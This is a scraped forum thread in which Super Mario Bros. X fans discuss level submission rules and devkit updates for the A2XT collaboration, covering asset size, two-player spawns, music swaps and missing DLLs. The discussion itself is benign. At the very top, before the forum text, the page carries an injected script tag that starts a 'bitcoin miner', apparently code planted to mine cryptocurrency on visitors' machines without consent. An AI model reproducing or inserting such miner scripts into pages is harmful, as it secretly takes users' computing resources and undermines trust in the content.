<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitymario fan games galaxypge project

Submission Guidelines (READ FIRST)

The second SMBX collab!
User avatar
Mata Hari
Posts: 2224
Joined: 10 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Mata Hari » 6 years ago

What's the maximum asset folder size we're allowed? Same as last time?

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

Yeah, try to keep it under 10 MB. If you go over by a bit, we probably won't care.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
StraightFlame
Posts: 0
Joined: 6 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby StraightFlame » 6 years ago

So, i made a level where you have to beat a boss to get to the secret exit. Does anyone need to know that or anything?

Also, what is the difference between the ASMBXT level editor and the A2MBXT devkit? Simply the fact that the devkit doesn't force you to also download Prelude To The Stupid or is there something else?
[quote=""YouTube Commentator StraightFlame1""]It wouldn't surprise me if [the] same [arguments used to defend 8flight's scoring] were used to support something like police brutality.[/quote]

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

Right now, Some of the default music is changed. More music and graphics are probably gonna get changed in the future.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Unaniem
Desperately trying to figure out just what the hell
Posts: 156
Joined: 6 years ago
First name: Tree
Location: Megalovanilla

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Unaniem » 6 years ago

Does using classisistic art from, say, the Renaissance - Manneristic period which features artistic nudity as a background (for a wacky, surrealistic effect) count as NSFW?

I'm wondering this seeing how people are generally more acceptable to such nudity in everyday life. (Heck, even Youtube allows it.)
Image

Doctor Shemp
Banned
Posts: 0
Joined: 7 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Doctor Shemp » 6 years ago

Unaniem wrote:Does using classisistic art from, say, the Renaissance - Manneristic period which features artistic nudity as a background (for a wacky, surrealistic effect) count as NSFW?

I'm wondering this seeing how people are generally more acceptable to such nudity in everyday life. (Heck, even Youtube allows it.)
Are there urns in there? Nudity is only art if there's urns.

MrDeePay
Posts: 0
Joined: 9 years ago
Location: Texas

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby MrDeePay » 6 years ago

Don't do it. Better safe than sorry.

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

8flight wrote:So when are we using leeks as level exits?
Whenever you want. It's up to you.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
StraightFlame
Posts: 0
Joined: 6 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby StraightFlame » 6 years ago

Also, i have a few more questions (i'm assuming we're going with the overworld):

- Is the Zebraspace going to be like the green star levels in STTB2, or like the Star World in just about anything? And if it's the latter, will it have a Secretception or some kind of reward for completing it?

- Is the overworld design going to be based on the levels? My level for example takes place right below a floating island and ends with the player going into a cave. And then there's a laundromat, a long downward-scrolling volcano stage and a Castle Bleck expy, among other things. Will we have custom tiles for each and every type of level, considering we only have... like 328 or something different tiles to work with?

- I'm currently designing a boss stage that kinda feels like it's the final boss. However, i don't want to have so much influence on the project that i actually design, y'know, the final boss. Is there any place my boss can be at where it would make sense for it to be?
[quote=""YouTube Commentator StraightFlame1""]It wouldn't surprise me if [the] same [arguments used to defend 8flight's scoring] were used to support something like police brutality.[/quote]

User avatar
Playah
Posts: 0
Joined: 6 years ago
Location: USA

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Playah » 6 years ago

I've got a question, myself. How concerned are we about 2-player support?

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

Have a spawn for player 2, but otherwise don't worry.

Also, I updated the devkit. Mainly a couple new default musics, plus made it more clear on where to put levels to avoid the moonwalking issue.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
TRS
Posts: 32
Joined: 9 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby TRS » 6 years ago

Giving player 2 a spawn point but not doing anything to make sure the level can be beat by both makes no sense.

User avatar
raocow
the death of the incredible huge
Posts: 2944
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby raocow » 6 years ago

We just don't want to be brought down by having to make sure everything is optimised for two players, but making sure there is two spawn points at least insures it won't be broken.
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
AUS
Posts: 117
Joined: 9 years ago
Location: アース

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby AUS » 6 years ago

Do you get points for putting the player 2 spawn inside of a blocked off area where he can't do anything?
Image
"oh no my best friend was replaced by a evil demon shadow monster"
"argh i am the evil shadow monster demon shadow"
Vip is pronounced "Beep"
I go by ToNi now. Trying to homogenize my internet handle.

User avatar
StraightFlame
Posts: 0
Joined: 6 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby StraightFlame » 6 years ago

Do people even actually PLAY 2-player mode?
[quote=""YouTube Commentator StraightFlame1""]It wouldn't surprise me if [the] same [arguments used to defend 8flight's scoring] were used to support something like police brutality.[/quote]

Frozelar
Retired Screamer
Posts: 5
Joined: 8 years ago
Location: The Place You Wish You Were

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Frozelar » 6 years ago

StraightFlame wrote:Do people even actually PLAY 2-player mode?
http://www.youtube.com/watch?v=uZQ34K3a-3Q

Not often, but yeah some people do

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

OK, now that Talkhaus ia back, I've updated the Devkit. Notw that for this time, there is no update, there is only the full package. Also of note, The following level songs have been changed. If this effects one of your levels, get in contact leave a message in the discussion thread:

SMB2 Wart -> A2MT Music Idea (A2MT)
Mario RPG Tadpole Pond -> On Cloud 9 (ASMT)
Mushroom Gorge -> Rock Them Nerves (A2MT)
Mario64 Boss -> Sewer Theme (A2MT)
SMW Boss -> Trial of Space (ASMT)
Crateria -> Unused Void Theme (ASMT)
Mario RPG Bowser -> Cutscene Theme (ASMT)
SMB3 Water -> Still Waters (A2MT)
Mario64 Castle - > Dark Chancellors Invisible Secret Robot Castle (ASMT)
SMB3 Hammer Bros -> Rad Volcano (ASMT)

Note that I've already fixed Euro Shell R&D, and The Descent.

Download link: http://www.mediafire.com/download/90dll ... DevKit.zip

Download this if you get a DLL error: http://www.microsoft.com/en-ca/download ... x?id=30679
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Dragondraikk
Devourer of Steaks
Posts: 9
Joined: 6 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Dragondraikk » 6 years ago

The current devkit is apparently missing two dll files that I had to install manually. Looks like they're C runtime libraries that are not bundled in.

You may want to add in msvcp110.dll and msvcr110.dll just to make sure it works right out of the box.

Code: Select all

if(signature.isDumb()){
    return signature;
}else{
    throw up;
}

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 6 years ago

yes, you need to install the Visual Studio 2012 Runtimes.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
Dragondraikk
Devourer of Steaks
Posts: 9
Joined: 6 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Dragondraikk » 6 years ago

It actually should be enough to place those two into the root directory of it for people to be able to run the game without extra installations.

Code: Select all

if(signature.isDumb()){
    return signature;
}else{
    throw up;
}

Awakenyourmind
Muwha!
Posts: 127
Joined: 8 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Awakenyourmind » 5 years ago

Why does smx crash whenever I open another program? Like, opening anything that would display on top of smbx makes it crash. Sometimes random crashes too.

Also, is it possible to keep an NPC from respawning when you go off screen? I have one of those moving ships that always restarts its position when you go off screen, but I want it to continue moving even if you go off screen.

Minus
Always edits posts
Posts: 14
Joined: 7 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby Minus » 5 years ago

Franky wrote:Why does smx crash whenever I open another program? Like, opening anything that would display on top of smbx makes it crash. Sometimes random crashes too.

Also, is it possible to keep an NPC from respawning when you go off screen? I have one of those moving ships that always restarts its position when you go off screen, but I want it to continue moving even if you go off screen.
Well, I'm not sure what to say about SMBX crashing (except that it happens, a lot, though the frequency is mostly dependent on your OS, how much horsepower your computer has, planetary alignment, that sort of thing), but as far as doomship parts go, you might want to use layers. I believe you can find a tutorial on how to use those in the SMBX Gameplay Manual that comes with the devkit. As well, you can look at the pertinent video in Frozelar's SMBX tutorial toward the bottom of the A2MBXT page. NPCs tend to reset when the player leaves the screen, so what you'd want to do is look at the SMB3 airship tileset, attach what you're trying to make to a layer, and use an event to move it to the right. Experiment a bit if need be.

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 5 years ago

For the crashing, maybe make sure you don't have something like ffdshow or LAV installed.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
cheez8
Food Nut
Posts: 258
Joined: 10 years ago

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby cheez8 » 5 years ago

AUS wrote:Do you get points for putting the player 2 spawn inside of a blocked off area where he can't do anything?
Just noticed this. I'm pretty sure it's not really serious but just in case anybody looked at it and thought "Sounds good to me!", if Player 1 dies, they respawn wherever Player 2 is. Putting P2 in a box is a terrible idea.
Image
Image
Image
Image
I don't really get it but okay

User avatar
SAJewers
hi
Posts: 3201
Joined: 7 years ago
Location: Nova Scotia

Re: Level Submission FAQ/Notes (Download Devkit Here)

Postby SAJewers » 5 years ago

So I meant to get this out before Septentrion started streaming, and I forgot. Dang it.

Anyway, this is the near-final Devkit. Unless something needs to be fixed, or kil decides to update LunaDLL, this is pretty much it, aside from the SMW Boss Door is which isn't finalized yet, and all the sound stuff.

http://www.mediafire.com/download/d6ydy ... DevKit.zip
ImageImageImageImageImage
Image
ImageImageImageImage


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 4 guests